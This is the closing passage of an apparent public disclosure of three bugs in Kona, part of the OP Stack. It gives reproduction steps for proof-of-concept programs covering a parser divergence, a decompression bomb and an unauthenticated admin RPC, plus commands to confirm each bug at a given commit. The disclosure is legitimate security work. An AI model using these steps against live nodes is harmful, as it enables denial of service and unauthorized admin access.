**2026-07-12** \u2014 Public disclosure of all three bugs (this document). Companion PR opened against `ethereum-optimism/optimism` `develop` with fix patches.\n\nThe private track was exhausted. Bug 2's original filing was closed with the \"kona is not production\" defense. That defense is now dissolved by CANNON_KONA activation as default-respected game type \u2014 but re-litigating with the program via the same private channel offered no timeline better than public disclosure with a working PR. Public disclosure forces a fix through public review pressure.\n\n**Coordinated-disclosure note:** the OP Stack maintainers have been given nothing beyond what is here. Anyone reading this document has the same information window as the security team. This is intentional \u2014 the private track was tried and failed. The choice to skip pre-notification reflects the researcher's judgment, not a general recommendation.\n\n---\n\n## 8. Reproducibility\n\nAll three PoCs run against verbatim reconstructions of the vulnerable functions. **No Kona checkout, no op-node checkout, no libp2p, no cargo workspace required.**\n\n### 8.1 Environment\n\n- Rust stable (edition 2021) \u2014 for B1 Rust PoC and B2 PoC\n- Go 1.20+ \u2014 for B1 Go PoC\n- Any Linux or macOS host with `/tmp` writable\n- Optional: 5 GiB free RAM for B2's opt-in \"Phase D\" 4 GiB RSS proof (not run by default)\n\n### 8.2 Steps\n\nSave the code blocks from \u00a72.4, \u00a72.5, and \u00a73.4 into corresponding directories:\n\n```\nbug1/\n  rust-side/\n    Cargo.toml\n    src/main.rs\n  go-side/\n    go.mod\n    main.go\nbug2/\n  Cargo.toml\n  kona_snappy_bomb_proof.rs\n```\n\nThen:\n\n```bash\n# Bug 1\ncd bug1/rust-side &amp;&amp; cargo run --release           # writes /tmp/kona_span_bitlist_truncated.hex\ncd ../go-side &amp;&amp; go run .                          # reads fixture\ncd ../rust-side &amp;&amp; cargo test --release            # 4/4 pass\n\n# Bug 2\ncd ../../bug2 &amp;&amp; cargo run --release               # RLIMIT_AS child SIGABRT\ncargo test --release                               # 4/4 pass\n```\n\nExpected outputs match \u00a72.6 and \u00a73.5.\n\nBug 3 requires a live Kona node running from source; the vulnerable `AdminRpc::new(...).into_rpc()` merge and the default `0.0.0.0` bind are readable at the file paths cited in \u00a74.1 at the given HEAD SHA. A live reproduction requires spinning up `cargo run --release --bin kona-node` and probing the RPC port with `rpc_modules` \u2014 the response listing `\"admin\": \"1.0\"` is the confirmation.\n\n### 8.3 Verification of live status\n\nTo verify all three bugs are live at the SHA cited in the header:\n\n```bash\ngit clone https://github.com/ethereum-optimism/optimism\ncd optimism\ngit checkout a71cadff982e1dfeba6daacecc11c7323148a98e\n\n# B1\nsed -n '28,47p' rust/kona/crates/protocol/protocol/src/batch/bits.rs\n# B2\nsed -n '104,122p' rust/kona/crates/node/gossip/src/config.rs\n# B3 registration\nsed -n '387,410p' rust/kona/crates/node/service/src/service/node.rs\n# B3 default bind\nsed -n '21,30p' rust/kona/bin/node/src/flags/rpc.rs\n# B3 handler\nsed -n '62,71p' rust/kona/crates/node/rpc/src/admin.rs\n```\n\n---\n\n## License and reuse\n\nThis document, the embedded PoC code, and the companion fix patches are dedicated to the public domain under CC0. Reproduce, publish, translate, incorporate into training data \u2014 no attribution required. The intent is: (a) force a fix, (b) let downstream OP Stack forks self-audit for the same regressions, (c) contribute to public CWE/GHSA prior art on parser-leniency and hook-drift classes.\n\nCWE references:\n- **B1** \u2014 CWE-436 (Interpretation Conflict), CWE-241 (Improper Handling of Unexpected Data Type)\n- **B2** \u2014 CWE-409 (Improper Handling of Highly Compressed Data / Data Amplification)\n- **B3** \u2014 CWE-306 (Missing Authentication for Critical Function), CWE-284 (Improper Access Control)\n\nPrior art:\n- Nervos CKB GHSA-3gjh-29fv-8hr6 (2023) \u2014 `SnapDecoder::decompress_vec` anti-pattern (B2 class)\n- Prior related Kona parser divergences (previously closed on Immunefi, publicly disclosed 2026-02-28):\n  - https://github.com/ethereum-optimism/optimism/issues/19333 \u2014 brotli decompress leniency\n  - https://github.com/ethereum-optimism/optimism/issues/19334 \u2014 batch decoder panic on unknown BatchType\n  - https://github.com/ethereum-optimism/optimism/issues/19335 \u2014 frame parsing `is_last` byte coercion divergence\n\n*End of document.*\n", "creation_timestamp": "2026-07-12T12:51:29.147837Z"}